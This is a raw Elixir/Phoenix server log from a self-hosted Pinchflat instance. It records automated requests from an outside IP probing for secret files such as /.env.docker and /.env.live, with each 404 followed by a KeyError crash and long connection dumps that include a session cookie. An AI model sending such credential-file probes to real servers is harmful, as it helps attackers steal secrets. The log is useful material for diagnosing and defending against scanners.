{Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.ci", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.ci", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.t (truncated) 02:10:07.905 [info] GET /.env.docker 02:10:07.906 [debug] QUERY OK source="settings" db=0.3ms idle=354.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.906 [debug] QUERY OK source="settings" db=0.1ms idle=245.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.906 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.906 [error] #PID<0.3328.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 24) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.docker ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3328.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.docker", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Gc8Ji8e6e0AAQXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:08.036 [info] GET /.env.live 02:10:08.036 [debug] QUERY OK source="settings" db=0.2ms idle=250.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.036 [debug] QUERY OK source="settings" db=0.1ms idle=250.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.037 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.037 [error] #PID<0.3329.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 25) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.live ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3329.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.live", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6G8Ke2IbhaEAAQYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:08.164 [info] GET /.env.preprod 02:10:08.165 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=258.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.165 [debug] QUERY OK source="settings" db=0.1ms idle=258.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.165 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.165 [error] #PID<0.3330.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 26) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.preprod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.preprod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3330.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.preprod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Han5a19PUcAAQZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.preprod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.preprod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:08.307 [info] GET /.env.uat 02:10:08.308 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=367.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.309 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms 